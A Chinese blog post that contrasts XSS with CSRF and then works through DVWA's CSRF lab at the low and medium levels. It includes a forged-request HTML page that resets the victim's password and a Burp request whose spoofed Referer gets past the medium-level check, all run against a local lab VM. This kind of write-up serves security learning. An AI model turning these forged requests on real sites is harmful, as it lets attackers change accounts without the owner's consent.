博客 / 詳情

返回

CSRF基礎----pikachu

CSRFXSS 的區別

下面用表格清晰對比兩者的核心差異:

對比維度 XSS (Cross-Site Scripting) 跨站腳本攻擊 CSRF (Cross-Site Request Forgery) 跨站請求偽造
中文全稱 跨站腳本攻擊 跨站請求偽造
本質 代碼注入:惡意腳本被注入到目標網站並在受害者瀏覽器執行 利用身份冒充:冒用受害者的身份向目標網站發送請求
攻擊是否需要用户登錄 不一定(反射型/存儲型/DOM型都可能無需登錄) 必須:攻擊前提是受害者已在目標網站登錄(有有效Cookie/Session)
攻擊載體 通常是網頁內容(評論、文章、暱稱、URL參數等) 通常是惡意構造的鏈接、表單、img標籤、fetch/XHR等
是否能竊取Cookie (document.cookie 可被直接讀取) 不能直接讀取(但可以利用Cookie自動發送做破壞性操作)
是否能讀取頁面內容 (完全控制DOM,可讀取、修改任意內容) 不能(只能發起請求,無法讀取響應)
是否能鍵盤記錄 不能
典型危害 竊取Cookie、Session、Token、鍵盤記錄、釣魚、頁面篡改、挖礦、傳播蠕蟲 修改密碼、轉賬、發帖、刪除數據、關注、點贊等狀態改變操作
危害嚴重程度 通常更嚴重(權限更大、控制力更強) 相對有限(只能做登錄用户能做的操作)
根本成因 輸出沒有做轉義/過濾 接口沒有做CSRF防護(僅依賴Cookie身份驗證)
典型防禦手段 1. 嚴格轉義輸出(HTML/JS/屬性/URL等上下文)
2. CSP
3. HttpOnly Cookie
4. 輸入驗證白名單
1. CSRF Token(最主流)
2. SameSite=Strict/Lax Cookie
3. 雙重驗證(密碼/短信)
4. 檢查 Referer/Origin(輔助)
一句話總結 攻擊者讓你的瀏覽器執行他的JS代碼 攻擊者讓你的瀏覽器替他向網站發請求

形象比喻

  • XSS:黑客在你常去的論壇發了一條帶病毒的評論,你一瀏覽,病毒(JS)就在你的瀏覽器裏運行了,黑客相當於“住在你瀏覽器裏”。
  • CSRF:你正在網銀登錄狀態,黑客發給你一個色情鏈接,你一點擊,你的瀏覽器就悄悄幫黑客向網銀髮了轉賬請求,黑客相當於“借你的手去幹壞事”。

記住這兩句話就基本不會混淆:

  • XSS = 惡意腳本被執行 → 能偷能改能看
  • CSRF = 惡意請求被髮送 → 只能做不能看

靶場測試(DVWA)

1.low難度

先如圖輸入修改的密碼:1234 (原密碼:password)

1

測試密碼是否真的已經修改:點擊上面的Test Credentials,如下圖所示

2

發現密碼確實已經修改為1234

發現url如下:

http://192.168.103.130:8090/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#

隨便構造一個html的頁面,代碼如下,命名為csrf.html:

<!DOCTYPE html>
<html>
<head>
        <title> CSRF html </title>
</head>
<body>
        <img src="http://192.168.103.130:8090/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#">
</body>
</html>

在本地起一個http服務:

python3 -m http.server 8888

瀏覽器訪問:http://127.0.0.1:8888/csrf.html
然後再次點擊上面的Test Credentials

顯示如下:密碼修改成功
2

2.medium難度

從源碼裏面很容易看出來:這是在檢查Referer裏面是否包含域名

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

因此在low的基礎上,通過Burp Suite抓包,修改Referer的值。原本Referer: http://127.0.0.1:8888/

GET /vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change HTTP/1.1
Host: 192.168.103.130:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.103.130:8090/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#
Connection: keep-alive
Cookie: security=medium; PHPSESSID=029b7d9d696fd2ad862d78a83f8ee294
Priority: u=5, i

然後再次點擊上面的Test Credentials

顯示如下:密碼修改成功
4


硬件及軟件説明:

I.硬件(電腦)

Apple Mac mini M4 (24G)

II.軟件(vmware虛擬機)

  • ubuntu作為靶機
    • IP: 192.168.103.130
    • arm64
    • Ubuntu 24.04.3 LTS
  • kali作為攻擊機
    • IP: 192.168.103.128
    • arm64
    • Kali GNU/Linux Rolling
    • 瀏覽器:Firefox

ubuntu中安裝docker靶場:kaakaww/dvwa-docker:latest

# 拉取docker鏡像
sudo docker pull kaakaww/dvwa-docker

# 為鏡像創建容器,並運行
## DVWA 端口設為 8090
sudo docker run -dt --name dvwa -p 8090:80 kaakaww/dvwa-docker

📌 不一定對,如有錯誤,歡迎指出🙂。

user avatar
0 位用戶收藏了這個故事!

發佈 評論

Some HTML is okay.